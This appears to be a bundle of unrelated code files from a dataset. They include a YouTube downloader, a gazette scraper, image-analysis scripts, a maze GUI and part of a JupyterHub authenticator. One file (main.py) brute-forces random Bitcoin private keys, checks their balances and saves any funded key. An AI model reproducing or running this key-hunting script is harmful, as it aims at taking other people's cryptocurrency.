pytube contrib.Playlist\ndef scrap_playlist_links(playlist_id, url):\n try:\n req = pytube.request.get(url)\n # get all videos with 'index' notation (playlist order)\n yt_playlist_content = [x for x in req.split('\\n')\n if all([tag in x for tag in ['a', 'href=\"', '&index=']])]\n playlist_videos_urls = [videos_base_url +\n x.split('v=')[1].split('&')[0] for x in yt_playlist_content]\n # get playlist url\n yt_playlist_name = [x for x in req.split('\\n')\n if 'data-list-title=' in x]\n playlist_name = playlist_id\n if yt_playlist_name:\n playlist_name = yt_playlist_name[0].split('data-list-title=\"')[1].split('\"')[0]\n\n return playlist_name, list(set(playlist_videos_urls))\n except:\n raise YoutubeException(\"Invalid Youtube URL!\")\n\n\n# download individual video locally\ndef download_async(video, resolution=None):\n all_streams = pytube.YouTube(video.url).streams.filter(subtype='mp4', progressive=True).all()\n stream = None\n\n # try to get the preferred resolution:\n correct_resolution = [stream for stream in all_streams if\n stream.resolution == resolution and stream.includes_video_track]\n correct_resolution.sort(key=lambda x: x.is_progressive)\n if correct_resolution:\n stream = correct_resolution[-1]\n else:\n # if not available, get the maximum resolution\n order_by_resolution = [stream for stream in all_streams if stream.includes_video_track]\n order_by_resolution.sort(key=lambda x: (int(x.resolution[:-1]), x.is_progressive))\n if order_by_resolution:\n stream = order_by_resolution[-1]\n\n if stream:\n filename = '{}.{}'.format(video.name.replace('/', '').replace(' ', ''), stream.subtype)\n file = os.path.join(downloads_path, filename)\n\n # check if exists locally, in order to not overwrite a simultaneous download\n if not os.path.isfile(file):\n chunk_size = 3 * 2 ** 20 # bytes\n url = stream.url\n file_size = stream.filesize\n ranges = [[url, i * chunk_size, (i + 1) * chunk_size - 1] for i in range(ceil(file_size / chunk_size))]\n ranges[-1][2] = None # Last range must be to the end of file, so it will be marked as None.\n\n pool = multiprocessing.Pool(min(len(ranges), 64))\n chunks = pool.map(download_chunk, ranges)\n with open(file, 'wb') as outfile:\n for chunk in chunks:\n outfile.write(chunk)\n\n return filename\n\n raise YoutubeException(\"Error while downloading the video: \" + video.url)\n\n\ndef download_chunk(args):\n url, start, finish = args\n range_string = '{}-'.format(start)\n\n if finish is not None:\n range_string += str(finish)\n\n response = requests.get(url, headers={'Range': 'bytes=' + range_string})\n return response.content\n\n\n# upload individual video to google drive, and save as uploaded\ndef upload_async(filename, checksum, video, provider):\n GoogleDriveService().upload(filename, provider)\n playlist_video = PlaylistVideo(video_url=video.url,\n video_id=video.id,\n provider_id=provider.id,\n content_hash=checksum)\n db.session.add(playlist_video)\n db.session.commit()\n\n\nclass Playlist:\n def __init__(self, id, name, url, videos):\n self.id = id\n self.name = name\n self.url = url\n self.videos = videos\n\n def download(self):\n # add to bd for monitoring\n with create_app().app_context():\n service = Service.query.filter_by(name=\"playlist\").first()\n provider = Provider(info=self.url,\n zone_id=1, # 1st zone for default template (always available)\n service_id=service.id)\n db.session.add(provider)\n db.session.commit()\n\n return 'Playlist<'+self.name+'>'\n\n def __repr__(self):\n return 'Playlist<'+self.name+'>'+str(self.videos)\n\n\nclass Video:\n def __init__(self, id, name, url):\n self.id = id\n self.name = name\n self.url = url\n\n def download(self):\n # Create a single provider for single content\n with create_app().app_context():\n service = Service.query.filter_by(name=\"video\").first()\n provider = Provider(info=self.url,\n zone_id=1, # 1st zone for default template (always available)\n service_id=service.id)\n db.session.add(provider)\n db.session.commit()\n # download and upload content\n sync(self.url, provider)\n\n return 'Video<'+self.name+'>'\n\n def __repr__(self):\n return 'Video<'+self.name+'>{'+self.url+'}'\n\n\nclass YoutubeException(Exception):\n pass\n\n","sub_path":"flask_server/app/services/youtube/youtube.py","file_name":"youtube.py","file_ext":"py","file_size_in_byte":9464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"55584681","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 3 09:08:36 2017\n\n@author: daruin\n\"\"\"\n\nraio = float(input())\narea = (raio * raio) * 3.14159\nprint('A=%.4f'% area)\n","sub_path":"Python/1002.py","file_name":"1002.py","file_ext":"py","file_size_in_byte":184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"7734547","text":"#\n# Copyright (C) 2021 Intel Corporation\n# SPDX-License-Identifier: Apache-2.0\n#\n#\nimport numpy as np\nimport segyio\n\n\ndef preprocess(sheet, input_layers, model):\n \"\"\"\n This preprocessing function takes the section input ``sheet`` and crops it\n to match the Facies input layer shape, if they are different. Then, an\n input dictionary is returned where each input layer is mapped to the sheet\n data. For the Facies model, there is only one input layer.\n\n :param sheet: Section input data.\n :param input_layers: A list of input layer names.\n :param model: The model object that is using this preprocessing function.\n :return: An input dictionary structured as ``{..., input_layer_i:input, ...}``. Since there is only one layer in the Facies model, the returned dictionary will be structured as ``{input_layer:input}``.\n \"\"\"\n\n \"\"\"\n Params: \n sheet - seismic data\n input_layers - a list of the input layers (fseg should only have one input)\n model - Model's class object\n \n Return:\n input_dict - dictionary mapping transformed inputs to proper input layers\n \"\"\"\n \n assert model != None, \"[ERROR] Cannot accept 'None' for model.\"\n assert model.name == 'facies_model', \"[ERROR] Cannot use model with preprocess.\"\n \n net = model.facies_net\n in_shape = net.input_info[list(net.input_info.keys())[0]].input_data.shape\n \n input_dict = {}\n for input_layer in input_layers:\n sheet_pad = np.zeros(shape=in_shape)\n sheet_pad[:, :, :sheet.shape[2], :sheet.shape[3]] = sheet\n input_dict[input_layer] = sheet_pad\n return input_dict\n","sub_path":"models/facies/only_processor_scripts/preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"121287798","text":"from datetime import date\n\nimport scrapy\nfrom dateparser import parse\n\nfrom gazette.items import Gazette\nfrom gazette.spiders.base import BaseGazetteSpider\n\n\nclass PrMaringaSpider(BaseGazetteSpider):\n TERRITORY_ID = \"4115200\"\n name = \"pr_maringa\"\n allowed_domains = [\"maringa.pr.gov.br\"]\n\n def start_requests(self):\n \"\"\"\n @url http://venus.maringa.pr.gov.br/arquivos/orgao_oficial/seleciona_ano_oom.php\n @returns requests 1\n \"\"\"\n yield scrapy.FormRequest(\n \"http://venus.maringa.pr.gov.br/arquivos/orgao_oficial/seleciona_ano_oom.php\",\n callback=self.parse_form,\n )\n\n def parse_form(self, response):\n todays_date = date.today()\n current_year = todays_date.year\n for year in range(current_year, 2006, -1):\n yield scrapy.FormRequest.from_response(\n response,\n headers={\"Content-Type\": \"application/x-www-form-urlencoded\"},\n formnumber=0,\n formdata={\"ano\": str(year), \"entrar\": \"Buscar\"},\n callback=self.parse_year,\n )\n\n def parse_year(self, response):\n rows = response.css(\"table tr\")[3:]\n for row in rows:\n gazette_file_link = row.css(\"td:nth-child(1) a::attr(href)\").extract_first()\n gazette_date = row.css(\"td:nth-child(2) font > font::text\").extract_first()\n yield Gazette(\n date=parse(gazette_date, languages=[\"pt\"]).date(),\n file_urls=[gazette_file_link],\n is_extra_edition=any(\n caracter.isalpha() for caracter in gazette_file_link.split(\" \")[-1]\n ),\n power=\"executive_legislative\",\n )\n","sub_path":"data_collection/gazette/spiders/pr_maringa.py","file_name":"pr_maringa.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"334526798","text":"import pytest\n\nfrom leetcode.easy.ex0201_0300.ex0202 import InitialSolution, TwoPointerSolution\n\n\n@pytest.mark.parametrize('number, happy', [\n (32, True),\n (31, True),\n (19, True),\n (13, True),\n (1, True),\n (2, False),\n (4, False),\n (5, False),\n (99, False),\n (750, False),\n])\ndef test_determines_happiness(number: int, happy: bool):\n assert InitialSolution().isHappy(number) == happy\n assert TwoPointerSolution().isHappy(number) == happy\n","sub_path":"python/leetcode/easy/ex0201_0300/test/test_ex0202.py","file_name":"test_ex0202.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"349235858","text":"\"\"\"\nOOP 와 tkinter 를 이용한 MAZE 그리기\n\"\"\"\nimport time\nimport sys\nimport tkinter as tk\n\nUNIT = 40\nMAZE_H = 6\nMAZE_W = 6\n\nclass Maze:\n def __init__(self):\n\n self.build_maze()\n\n def build_maze(self):\n self.window = tk.Tk() # main window create\n self.window.title(\"MAZE with Q-Learning\")\n self.window.geometry('{}x{}'.format(MAZE_W*UNIT, MAZE_H*UNIT)) # window size\n # canvas create\n self.canvas = tk.Canvas(self.window, bg='white', width=MAZE_W*UNIT, height=MAZE_H*UNIT) \n # horizontal line\n for c in range(0, MAZE_W*UNIT, UNIT):\n x0, y0, x1, y1 = c, 0, c, MAZE_W*UNIT\n self.canvas.create_line(x0, y0, x1, y1)\n # vertical line\n for r in range(0, MAZE_H*UNIT, UNIT):\n x0, y0, x1, y1 = 0, r, MAZE_H*UNIT, r\n self.canvas.create_line(x0, y0, x1, y1)\n \n self.originX = 20\n self.originY = 20\n\n goal_centerX = self.originX + UNIT * 5 \n goal_centerY = self.originY + UNIT * 5\n\n self.goal = self.canvas.create_oval(\n goal_centerX - 15, goal_centerY - 15,\n goal_centerX + 15, goal_centerY + 15, fill='yellow'\n )\n\n self.draw_rect()\n\n self.canvas.pack()\n\n def draw_rect(self):\n self.rect = self.canvas.create_rectangle(\n self.originX - 15, self.originY - 15,\n self.originX + 15, self.originY + 15, fill='red'\n )\n\n def render(self):\n time.sleep(0.1) # 0.1 초 정지\n self.window.update()\n\nif __name__ == '__main__':\n maze = Maze()\n maze.window.mainloop()","sub_path":"tkinterGUI_MAZE.py","file_name":"tkinterGUI_MAZE.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"523650723","text":"import cv2\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport os\nimport glob\nfrom scipy.ndimage.filters import gaussian_filter1d\nimport argparse\n\n## SET UP CONFIGURATION\nparser = argparse.ArgumentParser(\"color_detection.py\")\nparser.add_argument(\"--src\", help=\"path to the bottom up images, Exp: dataset/bottom_up/\", type=str, required=True)\nparser.add_argument(\"--dest\", help=\"path to the final result folder, Exp: dataset/final_result/\", type=str, required=True)\nargs = parser.parse_args()\n\n# path = 'dataset/Non_cdx/'\"S.19.4704/\", \"S.19.6308/\", \"S.19.11919/\", \"S.19.14180/\", \"S.19.26681/\",\ntry:\n os.mkdir(args.dest)\nexcept:\n pass\n\ntry:\n os.mkdir(os.path.join(args.dest, \"blue_brown_mask\"))\n os.mkdir(os.path.join(args.dest, \"mask_and\"))\nexcept:\n pass\n# im_names = ['im1', 'im2', 'im3', 'im5', 'im7', 'im8', 'im10', 'im11', 'im15', 'im16']\nim_names = glob.glob(os.path.join(args.src, '*.png'))\nimg_size = (400, 1200)\nall_blue = np.zeros(img_size[1])\nall_brown = np.zeros(img_size[1])\nfor im_name in im_names:\n\n def show_image(im1, im2, im3, im4, labels):\n fig, (ax1, ax2, ax3, ax4) = plt.subplots(nrows=1, ncols=4, figsize=(8, 3))\n ax1.imshow(im1)\n ax2.imshow(im2)\n ax3.imshow(im3)\n ax4.imshow(im4)\n ax1.set_title(labels[0])\n ax2.set_title(labels[1])\n ax3.set_title(labels[2])\n ax4.set_title(labels[3])\n plt.savefig(os.path.join(args.dest, 'blue_brown_mask/', os.path.basename(im_name) + '.png'))\n plt.show()\n\n def show_image_plt(im1, im2, im3, im4, blue_count, brown_count, labels):\n fig, (ax1, ax2, ax3, ax4, ax5) = plt.subplots(nrows=1, ncols=5, figsize=(8, 3))\n ax1.imshow(im1)\n ax1.axis('off')\n ax2.imshow(im2)\n ax2.axis('off')\n ax3.imshow(im3)\n ax3.axis('off')\n ax4.imshow(im4)\n ax4.axis('off')\n ax1.set_title(labels[0])\n ax2.set_title(labels[1])\n ax3.set_title(labels[2])\n ax4.set_title(labels[3])\n ax5.set_title(labels[4])\n ax5.axis('off')\n\n ax5.plot(blue_count[::-1], range(len(blue_count[::-1])))\n ax5.plot(brown_count[::-1], range(len(brown_count[::-1])))\n # ax5.legend(['blue', 'brown'])\n # ax5.set_xlabel('color value')\n # ax5.set_ylabel('#row')\n\n fig.savefig(os.path.join(args.dest, 'blue_brown_mask/', os.path.basename(im_name) + '.pdf'), bbox_inches='tight')\n plt.show()\n\n def mask_builder(image, hl, hh, sl, sh, vl, vh):\n # load image, convert to hsv\n hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n # set lower and upper bounds of range according to arguements\n lower_bound = np.array([hl, sl, vl], dtype=np.uint8)\n upper_bound = np.array([hh, sh, vh], dtype=np.uint8)\n return cv2.inRange(hsv, lower_bound, upper_bound)\n\n\n # for mask_name in glob.glob(path+'/Annotation/' + os.path.splitext(os.path.basename(im_name))[0] + '_*'):\n img = cv2.imread(im_name, cv2.IMREAD_UNCHANGED)\n # img = skimage.io.imread(im_name)\n # mask = cv2.imread(mask_name, cv2.IMREAD_UNCHANGED)\n # mask = np.array([[max(x) for x in y] for y in mask])\n # img = cv2.bitwise_and(img, img, mask=mask)\n img = cv2.resize(img, img_size)\n img_original = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n # nuclei_mask = mask_builder(img, 0, 255, 13, 255, 0, 213)\n kernel = np.ones((2, 2), np.uint8)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # gray = cv2.GaussianBlur(gray, (5, 5), 0)\n thr, _ = cv2.threshold(gray[gray!=0], 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)\n nuclei_mask = np.logical_and(0 < gray, gray <= thr)\n opening = cv2.morphologyEx(nuclei_mask.astype(np.uint8), cv2.MORPH_OPEN, kernel)\n closing = cv2.morphologyEx(opening, cv2.MORPH_CLOSE, kernel)\n\n\n # show_image(gray, blur)\n # cv2.open nuclei_mask\n # cv2.imwrite(path + 'nuclei_mask/' + os.path.basename(im_name), closing)\n img = cv2.bitwise_and(img, img, mask=closing)\n cv2.imwrite(os.path.join(args.dest, 'mask_and/', os.path.basename(im_name) + '.png'), img)\n # img = cv2.bitwise_and(img, img, mask=closing)\n # img = cv2.bitwise_and(img, img, mask=th3)\n # cv2.imwrite('tmp1.png', th3)\n # cv2.imwrite('tmp2.png', img)\n # hls = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n # nonzero_idx = hls[:, :, 0] != 0\n # sns.distplot(hls[:, :, 0][nonzero_idx])\n # plt.show()\n # thr, _ = cv2.threshold(hls[:, :, 0][nonzero_idx], 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)\n\n # brown_mask = np.logical_and(0 < hls[:, :, 0], hls[:, :, 0] <= thr)\n # blue_mask = hls[:, :, 0] > thr\n brown = mask_builder(img, 0, 40, 1, 254, 1, 254)\n brown = np.logical_or(mask_builder(img, 150, 180, 1, 254, 1, 254), brown) * 255\n blue = mask_builder(img, 80, 140, 1, 254, 1, 254)\n # cv2.imshow('Window', blue)\n # cv2.waitKey(0)\n img_rgb = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n # show_image(img_rgb, brown)\n\n brown_count = [sum(row == 255) for row in brown]\n blue_count = [sum(row == 255) for row in blue]\n\n\n brown_count = gaussian_filter1d(brown_count, sigma=15)\n blue_count = gaussian_filter1d(blue_count, sigma=15)\n blue_count, brown_count = blue_count / (blue_count + brown_count + .00001), brown_count / (blue_count + brown_count + .00001)\n show_image_plt(img_original, img_rgb, blue, brown, blue_count, brown_count, labels=[\"original\", \"nuclei_mask\", \"blue\", \"brown\", \"color pattern\"])\n # plt.plot(blue_count[::-1], range(len(blue_count[::-1])))\n # plt.plot(brown_count[::-1], range(len(brown_count[::-1])))\n # plt.legend(['blue', 'brown'])\n # plt.savefig(path + 'plots/' + os.path.basename(im_name)+'_res.png')\n # plt.show()\n all_brown += brown_count\n all_blue += blue_count\n\n\nblue_percent = np.array([sum(all_blue[0:int(img_size[1]/2)]), sum(all_blue[int(img_size[1]/2):])])\nbrown_percent = np.array([sum(all_brown[0:int(img_size[1]/2)]), sum(all_brown[int(img_size[1]/2):])])\n\nblue_val = blue_percent / (blue_percent + brown_percent)\nbrown_val = brown_percent / (blue_percent + brown_percent)\n\nall_brown = gaussian_filter1d(all_brown, sigma=10)\nall_blue = gaussian_filter1d(all_blue, sigma=10)\nwith open(os.path.join(args.dest, 'final.txt'), 'a') as f:\n f.write('{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t\\n'.format(\n 'number_of_images',\n 'average_of_blue_intensity_first_50%',\n 'average_of_blue_intensity_last_50%',\n 'average_of_blue_intensity_first_25%',\n 'average_of_blue_intensity_last_50%',\n 'average_of_brown_intensity_first_50%',\n 'average_of_brown_intensity_last_50%',\n 'average_of_brown_intensity_first_25%',\n 'average_of_brown_intensity_last_50%'\n ))\n f.write('{}\\t'.format(len(im_names)))\n for val in [all_blue, all_brown]:\n f50 = np.mean(val[:(len(val) // 2)])\n l50 = np.mean(val[(len(val) // 2):])\n f25 = np.mean(val[:(len(val) // 4)])\n l75 = np.mean(val[(3 * len(val) // 4):])\n f.write('{}\\t{}\\t{}\\t{}\\t'.format(f50, l50, f25, l75))\n f.write('\\n')\nplt.figure()\nplt.plot(all_blue[::-1], range(len(all_blue[::-1])))\nplt.plot(all_brown[::-1], range(len(all_brown[::-1])))\nplt.legend(['blue', 'brown'])\nplt.xlabel('color value')\nplt.ylabel('#row')\n# plt.plot(all_blue[::-1])\n# plt.plot(all_brown[::-1])\n# plt.legend(['blue', 'brown'])\nplt.savefig(os.path.join(args.dest, 'blue_brown_mask/', 'all_in_one.pdf'), bbox_inches='tight')\nplt.show()\n\n\nprint(blue_val)\nprint(brown_val)","sub_path":"mrcnn/color_detection.py","file_name":"color_detection.py","file_ext":"py","file_size_in_byte":7474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"545293738","text":"import pandas as pd\r\nfrom sklearn.utils import shuffle\r\n\r\ndf=pd.read_csv('train.csv')\r\n\r\ndf=shuffle(df)\r\n\r\n#print(len(df))\r\n#print(int(len(df)*0.8))\r\n#print(int(len(df)*0.2))\r\n\r\ntrain_size=int(len(df)*0.8)\r\ntest_size=int(len(df)*0.2)\r\n\r\ndf_train=df.head(train_size)\r\ndf_train.to_csv('train_data.csv',index=False)\r\n\r\ndf_test=df.tail(test_size)\r\ndf_test.to_csv('test_data.csv',index=False)\r\n\r\n\r\n\r\n","sub_path":"DataPrep/Create_Train_Test_CSV.py","file_name":"Create_Train_Test_CSV.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"291833527","text":"import os, binascii, hashlib, base58, ecdsa, time, balance_checker, static\r\n\r\n\r\ndef cls():\r\n os.system('cls' if os.name=='nt' else 'clear')\r\n\r\n\r\ndef ripemd160(x):\r\n d = hashlib.new('ripemd160')\r\n d.update(x)\r\n return d\r\n\r\n\r\nbalance = 0\r\ni = static.getint()\r\nwhile True:\r\n i +=1\r\n priv_key = os.urandom(32)\r\n fullkey = '80' + binascii.hexlify(priv_key).decode()\r\n sha256a = hashlib.sha256(binascii.unhexlify(fullkey)).hexdigest()\r\n sha256b = hashlib.sha256(binascii.unhexlify(sha256a)).hexdigest()\r\n WIF = base58.b58encode(binascii.unhexlify(fullkey + sha256b[:8]))\r\n sk = ecdsa.SigningKey.from_string(priv_key, curve=ecdsa.SECP256k1)\r\n vk = sk.get_verifying_key()\r\n publ_key = '04' + binascii.hexlify(vk.to_string()).decode()\r\n hash160 = ripemd160(hashlib.sha256(binascii.unhexlify(publ_key)).digest()).digest()\r\n publ_addr_a = b\"\\x00\" + hash160\r\n checksum = hashlib.sha256(hashlib.sha256(publ_addr_a).digest()).digest()[:4]\r\n publ_addr_b = base58.b58encode(publ_addr_a + checksum)\r\n #cls()\r\n print('Private Key ', str(i) + \": \" + WIF.decode())\r\n print(\"Bitcoin Address\", str(i) + \": \" + publ_addr_b.decode())\r\n balance = balance_checker.get_btc(WIF.decode(),publ_addr_b.decode())\r\n #balance = balance_checker.get_btc(WIF.decode(),\"183hmJGRuTEi2YDCWy5iozY8rZtFwVgahM\")\r\n if balance != None and balance > 0:\r\n static.savekey(WIF.decode(), publ_addr_b.decode(), balance)\r\n static.i += 1\r\n print(\"Balance: \" + str(balance) + \"\\n\")\r\n static.ink(i)\r\n\r\n if i % 5 == 0:\r\n time.sleep(2)\r\n if i % 10 == 0:\r\n time.sleep(1)\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"347663339","text":"import random\n\ntimes = [\"утром\", \"днём\", \"вечером\", \"ночью\", \"после обеда\", \"перед сном\"]\nadvices = [\"ожидайте\", \"предостерегайтесь\", \"будьте открыты для\"]\npromises = [\"гостей из забытого прошлого\", \"встреч со старыми знакомыми\",\n \"неожиданного праздника\", \"приятных перемен\"]\n\n\ndef generate_prophecies(total_num=5, num_sentences=3):\n prophecies = []\n\n i = 0\n while i < total_num:\n j = 0\n forecast = \"\"\n while j < num_sentences:\n t = random.choice(times)\n a = random.choice(advices)\n p = random.choice(promises)\n\n full_sentence = t.title() + \" \" + a + \" \" + p + \".\"\n if j != num_sentences - 1:\n full_sentence = full_sentence + \" \"\n\n forecast = forecast + full_sentence\n j = j + 1\n\n prophecies.append(forecast)\n i = i + 1\n\n return prophecies","sub_path":"exercise/horoscope.py","file_name":"horoscope.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"489162274","text":"\"\"\"JupyterHub authenticator.\"\"\"\nimport requests\nimport os\nimport json\nimport sys\n\nfrom subprocess import check_output\nfrom traitlets import Unicode, Int, List, Bool\nfrom six.moves.urllib.parse import unquote\nfrom tornado import web\n\nfrom .base import BaseAuth\n\n\nclass HubAuth(BaseAuth):\n \"\"\"Jupyter hub authenticator.\"\"\"\n\n graders = List([], config=True, help=\"List of JupyterHub user names allowed to grade.\")\n\n proxy_address = Unicode(config=True, help=\"Address of the configurable-http-proxy server.\")\n def _proxy_address_default(self):\n return self._ip\n proxy_port = Int(8001, config=True, help=\"Port of the configurable-http-proxy server.\")\n\n hub_address = Unicode(config=True, help=\"Address of the hub server.\")\n def _hub_address_default(self):\n return self._ip\n hub_port = Int(8000, config=True, help=\"Port of the hub server.\")\n \n hubapi_address = Unicode(config=True, help=\"Address of the hubapi server.\")\n def _hubapi_address_default(self):\n return self._ip\n hubapi_port = Int(8081, config=True, help=\"Port of the hubapi server.\")\n hubapi_cookie = Unicode(\"jupyter-hub-token\", config=True, help=\"Name of the cookie used by JupyterHub\")\n\n notebook_url_prefix = Unicode(None, config=True, allow_none=True, help=\"\"\"\n Relative path of the formgrader with respect to the hub's user base\n directory. No trailing slash. i.e. \"Documents\" or \"Documents/notebooks\". \"\"\")\n def _notebook_url_prefix_changed(self, name, old, new):\n self.notebook_url_prefix = new.strip('/')\n \n hub_base_url = Unicode(config=True, help=\"Base URL of the hub server.\")\n def _hub_base_url_default(self):\n return 'http://{}:{}'.format(self.hub_address, self.hub_port)\n\n hubapi_token = Unicode(config=True, help=\"\"\"JupyterHub API auth token. \n Generated by running `jupyterhub token`. If not explicitly set,\n nbgrader will use $JPY_API_TOKEN as the API token.\"\"\")\n def _hubapi_token_default(self):\n return os.environ.get('JPY_API_TOKEN', '')\n\n proxy_token = Unicode(config=True, help=\"\"\"JupyterHub configurable proxy \n auth token. If not explicitly set, nbgrader will use \n $CONFIGPROXY_AUTH_TOKEN as the API token.\"\"\")\n def _proxy_token_default(self):\n return os.environ.get('CONFIGPROXY_AUTH_TOKEN', '')\n\n remap_url = Unicode(config=True, help=\"\"\"Suffix appened to \n `HubAuth.hub_base_url` to form the full URL to the formgrade server. By\n default this is '/hub/{NbGrader.course_id}'. Change this if you\n plan on running more than one formgrade server behind one JupyterHub\n instance.\"\"\")\n def _remap_url_default(self):\n return '/hub/nbgrader/' + self.parent.course_id\n def _remap_url_changed(self, name, old, new):\n self.remap_url = new.rstrip('/')\n\n connect_ip = Unicode('', config=True, help=\"\"\"The formgrader ip address that\n JupyterHub should actually connect to. Useful for when the formgrader is\n running behind a proxy or inside a container.\"\"\")\n\n notebook_server_user = Unicode('', config=True, help=\"\"\"The user that hosts\n the autograded notebooks. By default, this is just the user that is logged\n in, but if that user is an admin user and has the ability to access other\n users' servers, then this variable can be set, allowing them to access\n the notebook server with the autograded notebooks.\"\"\")\n\n def __init__(self, *args, **kwargs):\n super(HubAuth, self).__init__(*args, **kwargs)\n\n # Create base URLs for the hub and proxy.\n self._hubapi_base_url = 'http://{}:{}'.format(self.hubapi_address, self.hubapi_port)\n self._proxy_base_url = 'http://{}:{}'.format(self.proxy_address, self.proxy_port)\n\n # Register self as a route of the configurable-http-proxy and then\n # update the base_url to point to the new path.\n if self.connect_ip:\n ip = self.connect_ip\n else:\n ip = self._ip\n target = 'http://{}:{}'.format(ip, self._port)\n self.log.info(\"Proxying {} --> {}\".format(self.remap_url, target))\n response = self._proxy_request('/api/routes' + self.remap_url, method='POST', body={\n 'target': target\n })\n # This error will occur, for example, if the CONFIGPROXY_AUTH_TOKEN is\n # incorrect.\n if response.status_code != 201:\n raise Exception('Error while trying to add JupyterHub route. {}: {}'.format(response.status_code, response.text))\n self._base_url = self.hub_base_url + self.remap_url\n\n def add_remap_url_prefix(self, url):\n if url == '/':\n return self.remap_url + '/?'\n else:\n return self.remap_url + url\n\n def transform_handler(self, handler):\n new_handler = list(handler)\n\n # transform the handler url\n url = self.add_remap_url_prefix(handler[0])\n new_handler[0] = url\n\n # transform any urls in the arguments\n if len(handler) > 2:\n new_args = handler[2].copy()\n if 'url' in new_args:\n new_args['url'] = self.add_remap_url_prefix(new_args['url'])\n new_handler[2] = new_args\n\n return tuple(new_handler)\n\n def authenticate(self, request):\n \"\"\"Authenticate a request.\n Returns a boolean or redirect.\"\"\"\n\n # If auth cookie doesn't exist, redirect to the login page with\n # next set to redirect back to the this page.\n if 'jupyter-hub-token' not in request.cookies:\n return self.hub_base_url + '/hub/login?next=' + self.remap_url\n cookie = request.cookies[self.hubapi_cookie].value\n\n # Check with the Hub to see if the auth cookie is valid.\n response = self._hubapi_request('/hub/api/authorizations/cookie/' + self.hubapi_cookie + '/' + cookie)\n if response.status_code == 200:\n\n # Auth information recieved.\n data = response.json()\n if 'name' in data:\n user = data['name']\n\n # Check if the user name is registered as a grader.\n if user in self.graders:\n self._user = user\n return True\n else:\n self.log.warn('Unauthorized user \"%s\" attempted to access the formgrader.' % user)\n\n # this shouldn't happen, but possibly might if the JupyterHub API\n # ever changes\n else:\n self.log.warn('Malformed response from the JupyterHub auth API.')\n raise web.HTTPError(500, \"Failed to check authorization, malformed response from Hub auth.\")\n\n # this will happen if the JPY_API_TOKEN is incorrect\n elif response.status_code == 403:\n self.log.error(\"I don't have permission to verify cookies, my auth token may have expired: [%i] %s\", response.status_code, response.reason)\n raise web.HTTPError(500, \"Permission failure checking authorization, I may need to be restarted\")\n\n # this will happen if jupyterhub has been restarted but the user cookie\n # is still the old one, in which case we should reauthenticate\n elif response.status_code == 404:\n self.log.warn(\"Failed to check authorization, this probably means the user's cookie token is invalid or expired: [%i] %s\", response.status_code, response.reason)\n return self.hub_base_url + '/hub/login?next=' + self.remap_url\n\n # generic catch-all for upstream errors\n elif response.status_code >= 500:\n self.log.error(\"Upstream failure verifying auth token: [%i] %s\", response.status_code, response.reason)\n raise web.HTTPError(502, \"Failed to check authorization (upstream problem)\")\n\n # generic catch-all for internal server errors\n elif response.status_code >= 400:\n self.log.warn(\"Failed to check authorization: [%i] %s\", response.status_code, response.reason)\n raise web.HTTPError(500, \"Failed to check authorization\")\n\n else:\n # Auth invalid, reauthenticate.\n return self.hub_base_url + '/hub/login?next=' + self.remap_url\n\n return False\n\n def notebook_server_exists(self):\n \"\"\"Does the notebook server exist?\"\"\"\n if self.notebook_server_user:\n user = self.notebook_server_user\n else:\n user = self._user\n\n # first check if the server is running\n response = self._hubapi_request('/hub/api/users/{}'.format(user))\n if response.status_code == 200:\n user_data = response.json()\n else:\n self.log.warn(\"Could not access information about user {} (response: {} {})\".format(\n user, response.status_code, response.reason))\n return False\n\n # start it if it's not running\n if user_data['server'] is None and user_data['pending'] != 'spawn':\n # start the server\n response = self._hubapi_request('/hub/api/users/{}/server'.format(user), method='POST')\n if response.status_code not in (201, 202):\n self.log.warn(\"Could not start server for user {} (response: {} {})\".format(\n user, response.status_code, response.reason))\n return False\n\n return True\n\n def get_notebook_server_cookie(self):\n # same user, so no need to request admin access\n if not self.notebook_server_user:\n return None\n\n # request admin access to the user's server\n response = self._hubapi_request('/hub/api/users/{}/admin-access'.format(self.notebook_server_user), method='POST')\n if response.status_code != 200:\n self.log.warn(\"Failed to gain admin access to user {}'s server (response: {} {})\".format(\n self.notebook_server_user, response.status_code, response.reason))\n return None\n\n # access granted!\n cookie_name = '{}-{}'.format(self.hubapi_cookie, self.notebook_server_user)\n notebook_server_cookie = unquote(response.cookies[cookie_name][1:-1])\n cookie = {\n 'name': cookie_name,\n 'value': notebook_server_cookie,\n 'path': '/user/{}'.format(self.notebook_server_user)\n }\n\n return cookie\n\n def get_notebook_url(self, relative_path):\n \"\"\"Gets the notebook's url.\"\"\"\n if self.notebook_url_prefix is not None:\n relative_path = self.notebook_url_prefix + '/' + relative_path\n if self.notebook_server_user:\n user = self.notebook_server_user\n else:\n user = self._user\n 